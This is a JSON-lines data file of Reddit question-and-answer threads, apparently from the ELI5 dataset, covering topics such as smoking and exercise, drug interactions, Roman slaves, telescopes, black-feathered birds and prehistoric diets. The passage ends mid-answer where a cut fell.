{"q_id": "2ri30e", "title": "sports and smoke - a bad mix?", "selftext": "Hi guys, \nI am a (heavy) smoker (tobacco only) and I have decided to start moving a bit. A year ago I have started running, cycling and some fitness exercising (not a lot of cardio). Of course I understand smoking is not good so I should quit. But the question is: is this a bad combination, practising sports while being a smoker? Are there extra risks combining both? \nThanks for your thoughts guys.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ri30e/eli5_sports_and_smoke_a_bad_mix/", "answers": {"a_id": ["cng1w6q"], "score": [2], "text": ["Good on you for exercising! That's the most important thing, although smoking impairs exercise, the solution is to quit smoking rather than not exercise. In fact, smokers who exercise 15 minutes daily are 55 percent more likely to quit smoking than smokers who don\u2019t exercise. \n\nSmokers who can\u2019t quit should also exercise because smokers who exercise 30 minutes daily live 3.7 years longer than smokers who don\u2019t exercise.\n\nAlthough cigarette smokers can exercise, smoking **within two hours** of the start of an exercise session is too risky. Smoking constricts coronary arteries and limits the ability of blood to deliver oxygen to the heart via the arteries. This effect is particularly profound shortly after the cigarette is smoked. An exercising heart needs more oxygen than a sedentary heart. A lack of oxygen can cause a fatal heart attack. Chest pain that ends the exercise is a more common occurrence than a heart attack however, just don't push through it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ciiwu2", "title": "what would happen if you took a shitload of stimulants and a shitload of sleeping pills at the same time?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ciiwu2/eli5_what_would_happen_if_you_took_a_shitload_of/", "answers": {"a_id": ["ev6bslp", "ev6ihr0", "ev6ou2p", "ev6r5ts"], "score": [62, 14, 6, 9], "text": ["An unpleasant death.  Your body isn't like a car where you have a gas pedal and a brake pedal.  Instead its more like a steam locomotive with a hundred different dials and valves and shoveling a ton of coal into the fire isn't offset by twisting one of those dials in the other direction.  But even if it were like a car you would quickly wear out your brake pads or fuck up your engine if you rode both at the same time.", "The combination is very dangerous.\nSleeping pills lower your breathing and consiousness while the stimulants make your heart beat irregular.\nThis makes your unconsious brain starve for oxigen and the brain cant do anything to counteract.\nDo not try this at home...or in a hospital.", "These questions rarely get good answers and it is always because of OP\u2019s lack of specification. There are many kinds of stimulants (xanthines, amphetamines, cathinones etc.) and many kinds of sleeping pills (z-drugs, benzodiazepines, antihistamines etc.) The result of combining these drugs will depend on the pharmacological profile of the drugs used and what dosages are taken.\n\nEDIT: I would also like to add that the idea of mixing \u00abuppers and downers\u00bb being bad for your heart is very misunderstood and very dependent on the drugs used. If you are admitted to a hospital experiencing stimulant psychosis you will likely be given the benzodiazepine lorazepam to calm you down.", "Stimulants and opiates taken together, like heroin and cocaine is called \u201cspeedballing\u201d and it is routinely deadly to users. Belushi, Chris Farley, Mitch hedberg, Phillip Seymour Hoffman, etc. all died due to mixing these types of drugs. On top of what has been stated - that mixing the drugs produces unexpected and stronger interactions; additionally the two drugs can offset eachother. The stimulant effects may make some of the opioid effects more tolerable or vice versa; but unfortunately they do not metabolize the same way or last equal lengths of time. Soon a person is coming down from the cocaine while the opioid is still very much active at high levels in their body, and then they begin to experience an opioid overdose as the sympathetic nervous system finally slows back down.\n\nThat all said sleeping pills aren\u2019t opioids but mixing them is a bad and potentially deadly proposition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "a1pivo", "title": "It is estimated that there are between 1-10 quadrillion ants on Earth. How did we come to that number?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/a1pivo/it_is_estimated_that_there_are_between_110/", "answers": {"a_id": ["earqlz6"], "score": [26], "text": ["Count/ estimate the number of ants in individual colonies of particular species. \n\nCount/ estimate density of colonies of each species in different environments and ecosystems. \n\nMultiply everything out by the measured area of those different environments and ecosystems on the planet. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "qg2g2", "title": "If we had to, how quickly could we put a man on the moon again?", "selftext": "If money were no issue, and there was an urgency of some sort to go back, how soon could we land a man on the moon again?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/qg2g2/if_we_had_to_how_quickly_could_we_put_a_man_on/", "answers": {"a_id": ["c3xbyyr"], "score": [5], "text": ["Probably within 2 years.  The major constraint would be the development of a lander (although NASA's [Project Morpheus](_URL_0_) could probably be drafted for the effort).  \n\nA fast, bare-bones lunar mission would probably involve launching separately a crew capsule (most likely based on the SpaceX Dragon or NASA Orion spacecraft), a Morpheus-derived lander, and one or two rocket upper stages (most likely from the existing Delta IV Heavy, or from the soon-to-exist Falcon Heavy), which would then be assembled and flown to the moon and back."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://morpheuslander.jsc.nasa.gov/"]]}
{"q_id": "go6b1", "title": "Why are many of the pictures taken in or around the Fukushima reactors 'cloudy'?", "selftext": "I have notice that many of the pictures taken inside or around the plant have a milky/cloudy look.  Could this be because of the radiation - I am not sure whether it has an effect on the camera optics/chip? Or is the more simple explanation that they are taken behind some goggles?\n\n_URL_0_\n\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/go6b1/why_are_many_of_the_pictures_taken_in_or_around/", "answers": {"a_id": ["c1p08yt", "c1p09gq", "c1p0z97"], "score": [5, 5, 2], "text": ["Radiation would affect the optic chips, but that's unlikely to be noticeable in standard plant operating conditions.\n\nI'd say it's probably just the camera. I've seen plenty of shots that look completely normal from the plant.", "Just speculating here but it looks like the blurrier pictures were taken through a car window.  When radiation interacts with a camera, it appears as a single-pixel effect, kind of like a stuck pixel on an LCD screen.", "It looks like the cloudy pictures are for the most part the ones taken by their drone.\n\n[Wiki](_URL_0_) tells me that it weighs around 20lbs so there is probably blurring caused by movement and of course by a less than great camera.\n\n"]}, "title_urls": [], "selftext_urls": ["http://cryptome.org/eyeball/daiichi-npp6/daiichi-photos6.htm"], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Honeywell_RQ-16_T-Hawk"]]}
{"q_id": "492r2r", "title": "Was there any diplomatic contact between the Songhai Empire or the Mali Empire and the contemporary European Empires?", "selftext": "If so, what were they like? I'm sure there was trade even if indirectly though places like Timbuktu but was there ever exchanges of envoys? Where these African nations seen as on the same level as their European counterparts? Would someone like Henry VIII or Ferdinand  &  Isabella been aware of or concerned by their political/national actions? If not, is it more of a function of geographic distance or would things like race or religion been the limiting factor? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/492r2r/was_there_any_diplomatic_contact_between_the/", "answers": {"a_id": ["d0out85"], "score": [2], "text": ["There is no known direct contact between Christian European powers and the West African empires. A lot of West African gold winds up in Christian Iberia before and during the Reconquista, by way of Muslim merchant intermediaries. And one of the sultan-emperors of Mali, Mansa Musa, famously completed his pilgrimage to Mecca.\n\nFor direct contact between Latin Europe and \"black\" Africa, we look instead to Ethiopia. Ethiopian Christians could plausibly have been in Jerusalem while it was in crusader hands. Certainly later European pilgrims encountered Ethiopians there. By the 15th century, the Iberian powers and Italian city-states (not to mention the Church) were engaged in diplomatic contact with Ethiopia. There was even an Ethiopian Orthodox church in Rome! I've talked a little about one arm of that diplomacy [before](_URL_0_):\n\n >  In 1428, ambassadors between King Alfonso V of Aragon and Emperor Ishaq of Ethiopia actually worked to set up a double marriage alliance: Ishaq would marry the king's sister, and the Spanish prince would wed an Ethiopian princess. Nothing came of this, however. In the sixteenth century, the Ethiopians made a half-hearted attempt to revive the hope of a ruling marriage alliance, but they never got around to proposing specifics and the Portuguese weren't the least bit interested, anyway. By that point, the trans-Atlantic slave trade was picking up and Europeans were starting to theorize about patterns that had been developing silently with the growing presence of African slaves in European courts. Literature and legal sources began to delineate hierarchies of skin color, and the (white, Roman) Church pondered questions of skin color, conversion, and the ethics of enslavement.\n\nBy that point, too, the Portugeuse were sailing the West African coastline and establishing formal contact with the Kingdom of Kongo in Central Africa; or even rounding the Cape of Good Hope to reach the Swahili city-states!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3nv108/did_any_european_states_in_the_middle_ages_or/cvrso3b"]]}
{"q_id": "2qwll8", "title": "What process does your body go through to remove a foreign object that is stuck in a wound? Gravel, fuzz, etc.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2qwll8/what_process_does_your_body_go_through_to_remove/", "answers": {"a_id": ["cnbc7qe"], "score": [2], "text": ["I'm sure that at some point in your life you've had a splinter that you couldn't get out with tweezers. A few days later, you've got a pus filled abscess that jettisons the splinter when you squeeze it just right.\n\nThe thing that happens is that the inflammation produces pus, and the other processes try and isolate the inflamed area, encapsulating it. the resulting abscess will often itch, and once you manage to tear, scratch, or lance the abscess, the pus will drain, often carrying the foreign body with it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1i8geo", "title": "Reaction Engines claims their Heat Exchanger can cool air from 1,000\u00b0C to minus 150\u00b0C in 20 milliseconds. How is this possible?", "selftext": "They claim that the heat exchanger is the key of their breakthrough engine, which they tout as \"The greatest advance in propulsion since the jet engine\". Is it as simple as they describe, using spiral arrangement and very small tubes? Why hasn't this technology been used before in other applications, such as HVAC systems? \n\n_URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1i8geo/reaction_engines_claims_their_heat_exchanger_can/", "answers": {"a_id": ["cb20vy5", "cb29ge2", "cb29mk6", "cb2c5h1"], "score": [24, 3, 3, 3], "text": ["Thin walls and lots of surface area between the incoming air and cold He. The trick isn't cooling it that fast, it's cooling it that fast without your heat exchanger getting clogged with ice.", "Surface area, flow rates, conductive materials, and a very low temperature cold reservoir can make even higher rates possible, it's really a matter of engineering around the other issues that will develop (water vapor, as is mentioned here) and the problem of building such a system to be efficient, practical and robust.", "Its driven by liquid hydrogen so this technology would be rather dangerous and expensive for HVAC use.", "Massive surface area, very efficient heat transfer materials and constantly disturbing the boundary layers for maximum effect."]}, "title_urls": [], "selftext_urls": ["http://www.reactionengines.co.uk/heatex_work.html"], "answers_urls": [[], [], [], []]}
{"q_id": "7tsdgg", "title": "In HBO's Rome, a slave, Posca, is a crucial, trusted adviser to Caesar and later Antony. Would late republican Roman generals truly value a slave's counsel? Do we have any record of it happening?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7tsdgg/in_hbos_rome_a_slave_posca_is_a_crucial_trusted/", "answers": {"a_id": ["dtf7axj"], "score": [22], "text": ["Cicero's personal secretary and one of his closest confidantes, as well as the man to introduce shorthand to Latin, was a slave, although Cicero freed him well before his death. Plutarch mentions a slave of Pompey, a certain Demetrius, who had great influence over him and whom people approached to gain Pompey's favor. Plutarch claims that during the war of Actium Octavian set up an ambush against Antony on the advise of a slave. Again from Plutarch, we are told that Antony had a trusted personal slave, Eros, whom he ordered to kill him should it seem clear that he would fall into enemy hands--when the order was to be carried out Plutarch says that Eros turned the sword against himself instead. \n\nI could go on listing examples of slaves as the confidantes and advisors of important Romans, but I don't see what the point would be. Household slaves, the only sort who would actually *know* their masters personally, were typically well-educated or trained in a skilled craft. They were used as secretaries, scribes, advisors, teachers, and other educated, skilled positions, while still being slaves and having no rights to their own bodies--the name of Antony's slave in Plutarch's account seems in part to suggest that the author is implying a sexual relationship between the two, although to my knowledge we have no other evidence for this person's existence. Such slaves might often expect to be freed, as Tiro was. Tiro, like many other such trained freedmen, continued to work for his former master, eventually helping to publish some of his works after his death. Likewise, house-slaves-turned-freedmen were an important source of skilled manpower for most men in the senatorial class, as they had been while they were still slaves. Ti. Gracchus supposedly used his own freedmen as *apparitores*, creating a core of very loyal support willing to engage in violence (as Plutarch relates it; Appian has no mention of the incident in question) and no doubt contributing to the feeling that Ti. was flying a little too close to the sun when it came to his own personal authority. Likewise, Shackleton Bailey in his prosopography showed that P. Clodius used as *scriba* during his tribunate a freedman called Sex. Cloelius. Bailey's reconstruction of his name is generally accepted today, but for a time the possibility that this freedman's name was Sex. Clodius, not Cloelius, was flying around, under the assumption that Clodius, like so many others of his rank, would have readily used his own freedmen on his staff. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c66frt", "title": "how does moisture wicking clothing work?", "selftext": "Hey, I'm new to motorbiking and it's hot af outside, I sweat a crap ton anyway, so with the heavy jackets and heat and anxiety of being new on the road, I sweat BUCKETS, I've concluded that moisture wicking tech is probably the way to go, but how does it work and is it effective? thanks in advance!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c66frt/eli5_how_does_moisture_wicking_clothing_work/", "answers": {"a_id": ["es6wy26"], "score": [2], "text": ["As far as riding without it, everything I have underneath is polyester and I have a vented jacket.  Also wear lightweight pants and lighter gloves than my normal road race level gloves.  And every vent in my helmet is open.\n\nI have a very faired bike, great in the cold but can be a pain in the heat. Windscreen down all the way and if I'm on a road trip, I carry 2 full and cold bottles of water and a large squirt bottle (It's a Gatorade brand thing I got at a sporting goods store for $3, I use them when I work out also). But that squirt bottle gets filled up with cold water at a gas station and I periodically get a drink of it from my tank bag and squirt some down my front and down the back of my neck. Quite the eye opener but helps keep me cool for 15 minutes or so."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "505j1w", "title": "how big would a telescope need to be to image the disk of proxima centauri b?", "selftext": "I figure really really big.\n\n*edit*\nthanks for the great discussion all! very interesting info!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/505j1w/how_big_would_a_telescope_need_to_be_to_image_the/", "answers": {"a_id": ["d71baea"], "score": [21], "text": ["The angular resolution of a telescope is given by \u03b8=1.22\u03bb/D where D is the diameter of the aperture. So we can rearrange to say D=1.22\u03bb/\u03b8. Let's say we want our resolution to be equal to the angular size of proxima b. This is approximately the diameter of the planet divided by the distance to the planet. I'll use earth's diameter because proxima b is only slightly larger. [Wolfram Alpha](_URL_0_) tells us this is 3.2x10^(-10) radians. For visible light let's take the middle of the spectrum and say \u03bb=550nm. So D=1.22*550nm/3.2x10^(-10)=2km. The largest telescope on earth is about 10m. So yeah, pretty big.\n\nEdit: having fun with Wolfram Alpha, that angular size is approximately that of a basketball on the moon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wolframalpha.com/input/?i=diameter+of+the+earth%2Fdistance+to+proxima+centauri&amp;dataset="]]}
{"q_id": "2m9s05", "title": ".net opensource", "selftext": "What does it mean that .net is opensource and what is so good about it", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2m9s05/eli5_net_opensource/", "answers": {"a_id": ["cm29b6v", "cm2i3ff"], "score": [4, 3], "text": ["It means people can view the code that makes it up.\n\nWhen you Compile Source code, you get machine code (Practically Unreadable by humans)\n\nMicrosoft used to just release the machine code and not the Source code (Closed Source/ Propitiatory)\n\nNow they are open sourcing it, meaning they are distributing the source code so you can compile it yourself and make changes.\n\n---\n\nOn a side note (And this is just an opinion) they might be doing [EEE (Wikipedia)](_URL_0_)\n\n >  The strategy's three phases are:\n\n >  - Embrace: Development of software substantially compatible with a competing product, or implementing a public standard.\n\n >  - Extend: Addition and promotion of features not supported by the competing product or part of the standard, creating interoperability problems for customers who try to use the 'simple' standard.\n\n >  - Extinguish: When extensions become a de facto standard because of their dominant market share, they marginalize competitors that do not or cannot support the new extensions.\n\nSo it is just a strategy to destroy competition like java and mono.", "Once upon a time, there was a company by name of Microsoft that had a programming language that was popular, but they wanted to make it even more popular.\n\nThe source code of the language was a company secret, which means that people outside the company had no way of knowing what the language was composed of, sort of like how no one knows the secret formulas to Coke or KFC. Those formulas are company secrets and highly guarded, in case someone tries to duplicate them. \n\nSo Microsoft made the source code (the \"recipe\") available to the public. Now anyone can see how the language is composed, and they can modify the code or \"recipe\" for their own means. When anyone can view the source and modify it, the software is called \"opensource\". \n\nBecause more people (the world) can view the source, the potential for finding and fixing bugs in the source code increases, which means that the language can become more stable and secure. What's more, since more people can alter the source code, the language will have more extensions built for it, which in turn, makes the language even more useful and popular.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Embrace,_extend_and_extinguish"], []]}
{"q_id": "3my8lc", "title": "why assad is bad and should go?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3my8lc/eli5_why_assad_is_bad_and_should_go/", "answers": {"a_id": ["cvj55il", "cvj5kbg", "cvj8b1k"], "score": [6, 3, 6], "text": ["Assad, like a lot of leaders in the middle east have not behaved in a way we would find acceptable. What we would call human rights violations. His government also does not fit with our democratic ideals.\n\nBasically I agree with you. I think a shitty dictator is better than Chaos. My feeling is that it is politically impossible for us to support him. We go on too much about human rights to be able to defend supporting him back home. Also the people of Syria would be very unlikely to 'accept' him as leader again - any regime lead by him would face serious opposition from people who now have guns and are used to wielding power in Syria. \nI still think we should do it though, it would at least be a stepping stone to peace. I don't see another alternative, but there are only bad choices here.", "if only he had some oil he could sell to the states...... like the Saudis.\nJust stay away from the middle east, let the people over there create their own future.\nMaybe after the sunni state and the shiite state are created in syria and Iraq there can be a relative peacefull period.\nBut most likely the wars and such will keep on going in middle east, its human nature.\n", "[His dad](_URL_0_) was a dictator over Syria for 30 years. People actually expected mini-Assad to be a reformist when he assumed power, but then he turned around and started committing war crimes, leading the UN to go ''Well, shit.''  \nHe has imprisoned some 200,000 people, I believe, merely for speaking out against his regime, and his prisons have been described as  [industrial death factories](_URL_1_).  \nIn short, the son of a brutal dictator turned out to be, unsurprisingly, a brutal dictator."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Hafez_al-Assad", "http://www.huffingtonpost.com/2014/01/21/syria-industrial-killing-assad-jails_n_4636199.html?ir=Australia"]]}
{"q_id": "2xdw5s", "title": "If little crumbs fall down your trachea what happens to them?", "selftext": "They wont be digested by stomach acid, so what happens? Do I have a little pile of crumbs at the bottom??\n\nEdit: Thank you all so much for the explanation, you all helped settle a debate between a few college students!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2xdw5s/if_little_crumbs_fall_down_your_trachea_what/", "answers": {"a_id": ["coz8pt6", "cozi9mn", "cozwqtf"], "score": [1895, 95, 4], "text": ["[Alveolar macrophages](_URL_0_) residing in the lungs will break down and destroy any debris or foreign material that is inhaled or makes it down the wrong pipe. ", "Hi, this is actually something I know about, I'm a speech and swallowing therapist. I work with patients who have trouble swallowing.\n\nIf you inhale food or liquid particles into your airway (\"aspiration\"), your body will respond with reflexes to clear the airway, i.e., you'll cough. Coughing causes highly pressurized air to push through your vocal cords and upper airway. Then, after you cough, you'll reflexively swallow, which brings those particles down to your esophagus where they belong.  (Try it: touch the front of your throat and cough. You'll notice that you probably swallow right after you cough).\n\nIf the particles aren't coughed up and swallowed the right way, two things could happen:\n\n1. You could choke. If the particles are big enough to occlude your airway, you can't building up a strong enough cough clear the airway. This is why choking victims don't make any noise (no air going through vocal cords = no talking, no coughing) they just silently clutch their necks.\n\n2. The particles could descend into your airway, pulled by gravity. There are cilia lining your airway which will try to move the particles up and out. And your immune system will attack the particles, too. But if food/liquid particles descend far enough into your lungs, you could end up with a gnarly case of aspiration pneumonia. Basically, the particles cause an infection and your lungs fill with fluid to fight the infection, but then the fluid prevents you from breathing good.\n\nTL;DR no, you do not have crumbs in your lungs.", "Acute medical speech pathologist here. Short version, you could get aspiration pneumonia, and if you're old or ill enough, potentially die. Part of my job in a hospital is to help stop mostly old people and patients with neurological damage from stroke, traumatic brain injury, or degenerative neurological diseases from aspirating their food or drinks and potentially getting aspiration pneumonia. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Alveolar_macrophage"], [], []]}
{"q_id": "5bfg0u", "title": "why is hungary the pornographic powerhouse of europe?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bfg0u/eli5_why_is_hungary_the_pornographic_powerhouse/", "answers": {"a_id": ["d9o2fg4", "d9o3ix2", "d9o8lwn", "d9o9s5b"], "score": [33, 4, 10, 7], "text": ["Hungary has had a relatively active film industry compared to the rest of Europe for decades, which gives pornographers ample access to equipment, studios and talent. Many jurisdictions in the United States have great tax incentives for the film industry but nearly all of them exempt the porn industry. Hungary's latest tax incentive does not restrict content, which has allowed to porn industry there to flourish.", "I think it also has to to with movie making in communism.\n\nSee unlike what the west likes to portray about communism it was in most of the Warsaw Pact states really well \"liberal\"\n\nExample heres is something children from age 13 and up would be allowed to see in a cinema. \n\nNot Safe for Work:\n_URL_3_\n_URL_4_\n\nThis is from a movie called Sunce, Seno, Erotika\n\n_URL_1_\n\nA sequel to this \n\n_URL_2_\n\nNSFW : _URL_0_\n\nBasically in most of the old communist countries movies in general were way more law on erotic material unlike the west where killing was okay and sex is a big no no. In the east it was quite the opposite you'd rarely see gore yet erotic stuff was very common. ", "The real question here isn't \"Why is Hungary so far ahead?\" but rather \"Why is the rest of Europe so far behind?\"\n\n", "Porn in general was illegal in the Eastern bloc because it's a \"wasteful consumer of energies\", but occasional nudity was allowed from time to time as it didn't fit in the same category as porn. \n\nHungary, already a poor country (even long before communism), tried to make reforms in economy called \"Goulash communism\" in the 1960s, and as a result, this policy stressed the economy and got them deep in debt, though it left them (slightly) better equipped for the transition to capitalism after the collapse of the eastern bloc.\n\nAfter the 1989 revolutions, Hungary was still dirt poor with massive debt, so the government legalized (and even encouraged) production of porn as they saw it as a good way to generate revenue."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://img.ahaonline.cz/img/18/new_article/2055335-img-slunce-seno-sex.jpg", "http://www.imdb.com/title/tt0168176/", "http://www.imdb.com/title/tt0195274/?ref_=tt_rec_tti", "http://img.cz.prg.cmestatic.com/media/images/600xX/May2014/1647745.jpg?d41d", "https://media.super.cz/images/gallery/0000000009990736/Vuq67oiWCVo4qhcSoSVfwg/53734640a9f09cd616c70100-112540?size=539"], [], []]}
{"q_id": "5ofhqt", "title": "if black soaks up heat, how do pure black birds like crows and ravens not overheat and suffer/die?", "selftext": "(also I'd *love* to read any papers on this if anyone has researched it more thoroughly... Google Scholar didn't turn up much.)\n\nEdit: someone posted an article that referenced \"Animal coat color and radiative heat gain\" - Walsberg, Campbell,  &  King, 1978. J. Comp. Physiol. 126B: 211-222. If anyone knows where I can read that for free I'd love it. I really want to read it, but not \u20ac43 want to read it!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ofhqt/eli5_if_black_soaks_up_heat_how_do_pure_black/", "answers": {"a_id": ["dciyfbq", "dcj0hqk", "dcj0j94", "dcjafga", "dcjp4pa"], "score": [33, 3, 25, 2, 2], "text": ["Hair and feathers don't transfer heat well, an example is if you're outside on a hot day and you feel your hair it's very hot but your scalp isn't.", "Have you ever worn a black shirt? You feel a little warmer, but heat still circulates off of you as air moves around and so on. It's the same with birds, their feathers let air move around.", "There are... multiple ways to approach this question, so I'm going to throw a bit of spaghetti at the wall and see what sticks.\n\n* The heat doesn't totally transfer from the feathers into the bird. Imagine holding a blanket in front of your at a bonfire. The blanket might get hot, but assuming it doesn't catch on fire it actually creates a cool shadow for you. \n* Birds have other ways to cool down. They can change their posture and feather-position (like how hairs in your skin can raise or lower) to increase airflow that takes away their higher-than-ambient heat, and have their own kind of \"panting\".\n* Black doesn't necessarily \"soak up heat\". Rather, something *we* can see as black is often something that absorbs sunlight. (Which is a range of light based on us being blobby sacks of water on a wet ball of rock a certain distance from a certain star.) Being black in a dark cave won't help you very much.\n* What we call \"infrared\" isn't actually \"heat\" any more than the color blue is \"heat\". Rather, it's a range of light that tends to correspond stuff that \"*humans* think is hot\". If we were ice-beings of Pluto it'd be a very different story.\n\n**Edit:** Found a quick writeup:\n\n >  The desert seems an unlikely choice for this all-black bird. But ravens thrive even in the arid, often hot Southwest, where common sense suggests that light-colored feathers would be a better adaptation to the scorching sun. [...]\n\n >  But as it turns out, a raven's black plumage works well in the desert. Black feathers do conduct the sun\u2019s warming rays, but they concentrate the solar heat near the surface of the plumage. All it takes is a breeze or air movement from wind, or from flying, to convect the heat away from the surface of the raven\u2019s dark feathers. \n\n >  Light-colored feathers absorb some of the sun\u2019s rays, too. But they tend to trap heat and send it more directly to the skin, where a breeze gives less relief. So in even a slight wind, the skin of a black-feathered bird stays cooler than the skin of a white-feathered bird. \n\n_URL_0_\n", "[The Straight Dope](_URL_0_) has an interesting article on this subject.\n\n > Under cold conditions with no wind speed, black, flattened plumage held in heat the best (though barely, compared to fluffed black plumage). Under hot conditions with no wind, white, fluffed plumage let heat escape the best. Both pretty logical findings. \n\n > At high temperatures, as I say, white is best at not transmitting solar/ambient heat to the skin when windspeed is zero (only barely better when fluffed). However, with an increase in windspeed (again anything above 3 m/s), fluffed black plumage is the best at reducing the amount of heat transmitted to the skin. Flattened black plumage is the worst in terms of heat gain no matter what the windspeed. \n\nThus when flying, the black bird reduces the amount of heat transferred to the skin when out in the sun high above heat stored in the ground.", "If your paper is _URL_0_ .\nThen you are lucky I have this paper. May I paste a link here?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://birdnote.org/show/benefits-ravens-black-feathers"], ["http://www.straightdope.com/columns/read/1886/does-black-clothing-keep-you-cooler"], ["http://link.springer.com/article/10.1007/BF00688930"]]}
{"q_id": "6tdnzg", "title": "was every human lean back in cavemen times?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6tdnzg/eli5_was_every_human_lean_back_in_cavemen_times/", "answers": {"a_id": ["dljvfw7", "dljvlpw", "dlk1ku5", "dlk3pb9", "dlk4fd3", "dlk4qgd", "dlk5gyq", "dlk5hec", "dlk5hhc", "dlk5rst", "dlk5vrn", "dlk64m2", "dlk6jud", "dlk6rt6", "dlk6wpr", "dlk79nj", "dlk7l97", "dlk7mih", "dlk7oe1", "dlk81m2", "dlk89ul", "dlk8j96", "dlk8mo2", "dlk8sci", "dlk8uzu", "dlka516", "dlkco2o", "dlkd2jm", "dlkd3pm", "dlkdnnw", "dlkh8b1", "dlkixni"], "score": [528, 2681, 58, 340, 14, 10, 3, 43, 2251, 14, 2, 2, 36, 43, 2, 17, 6, 5, 13, 4, 328, 2, 2, 20, 50, 5, 8, 5, 2, 5, 2, 4], "text": ["there may have been some that earned respect enough that they were brought food and didn't need to hunt, but for most, getting obese would prevent them from being effective hunters.  Human's greatest asset is their stamina.  Ancient humans often hunted by chasing the prey until it either was so tired it collapsed and was easy for humans to kill, or the animal ran until it died.  When you are a creature whose life exists around long distance running, being obese doesn't fit well.  ", "Most humans were lean up until 200 years ago. Prior to that point in time food supplies were alway precarious and famines were common. It was not until modern agricultural innovations happened that we were able to have stable enough food supplies to have enough extra food for a sizable portion of the population to be obese. Now you have likely always had some obese among the leaders of any given group, but most were lean. ", "If you had to be able to chase down your food, sometimes over the course of hours or even days in extreme cases, you'd either be a lean mean running machine....or dead.", "I'd ask this in r/AskAnthropology or r/AskHistorians for answers from people qualified to give an actual answer.", "Check out the Appalachian trail sub Reddit. See people eating 10k calories a day, but walking minimum of 10 miles a day for about 5 months.", "Diet. I have read many books on nutrition all based on science (clinical studies, epidemiological studies) and it is pretty convincing that our bodies are optimized to consume high fiber, low calorie foods. Herbivores have long digestive tracts and small canines while it's the opposite for carnivores. Our biology is closer to the one of herbivores.\n\nWe also have changed the food by processing it to make it taste better but often it increases caloric density. Eating fruits causes a much lower insulin spike than eating foods with added sugar, because fruits are packed with fibers which lower absobtion rate. Same thing when you compare whole wheat flour vs white flour. Insulin spike makes your body store energy as fat in cells. Added oil is also everywhere and has the highest caloric density. Plant fibers also creates a healthier gut flora.\n\nEating mostly plants will make you feel full when you have consumed much less calories. I also often saw in those books the hypothesis that our ancestors would eat more plants than meat because the plant doesn't run very fast!\n\nReading the science based nutrition books led my to increase the ratio of plant based meals in my weekly menu and lost 50 pounds since I did that 2 years ago.\n\nA lot of people are talking about the idea that our ancestors were running often to catch prey or flee. Between 2011 and 2015 I increased my per-year jogging distance up to 1800 km but I did not lose weight as I was on the standard american diet. In 2016 I gradually started to increase the plant ratio my diet and weight immediately started to decrease.", "Fat joe didnt invent it till around 2004 ?", "There were at least some fat Polynesians, due to the easy to gather, high fat seafood diet. They might be considered a stone age civilization due to a lack of metal working, but they were highly organized into political groups with a distinct upper class that could afford to get fat.", "You don't even have to go back that far.  In the not that distant past (and in many parts of the world today) food was not that easily obtainable or as calorically dense.  Sure, you're going to have one offs where someone with very high social status could be overweight, but that was the problem of the ancient 1%.  There was a reason Gout was known as the rich man's disease...because the condition could be brought on by overindulging in meat, alcohol, and being overweight.  ", "I had thought that no simply because of the Venus of willendorf. \n\n\n_URL_0_", "We're the Polynesian people lean too? Did they have caves? I ask the second question because 'cavemen' is a vague term. ", "My guess, in addition to some other replies about advances in food production, is that we also figured out ways to preserve food and therefore have it last longer, store it etc. before that I imagine people only hunted or gathered or purchased enough food for themselves to eat for 1-2 days before it would spoil. Also most foods these days have sugars added and sugar was a rare treat a few hundred years ago", "The sugar cabal is responsible for a large majority of obesity in America.  Americans, by and large, are addicted to high concentrated sugar by exposure to high fructose corn syrup.  HFCS is how the sugar industry could get more sugar into a cola than could actually fit into the can.\n\nSeriously, look at the labels on the food you buy.  Almost everything has HFCS as a major ingredient. \n\nWe swapped our diets a few weeks back and simply tried to cut out sugar and carbs.   It's not easy to do and we both went through a sugar withdrawl.  But on the other side of withdrawl, weight has been falling off with no change in activity. \n\nEdit:  thank you for the encouragement!  I've lost 30+ lbs in 10 weeks of a keto diet.  \n\nFor those who comment that it's all about 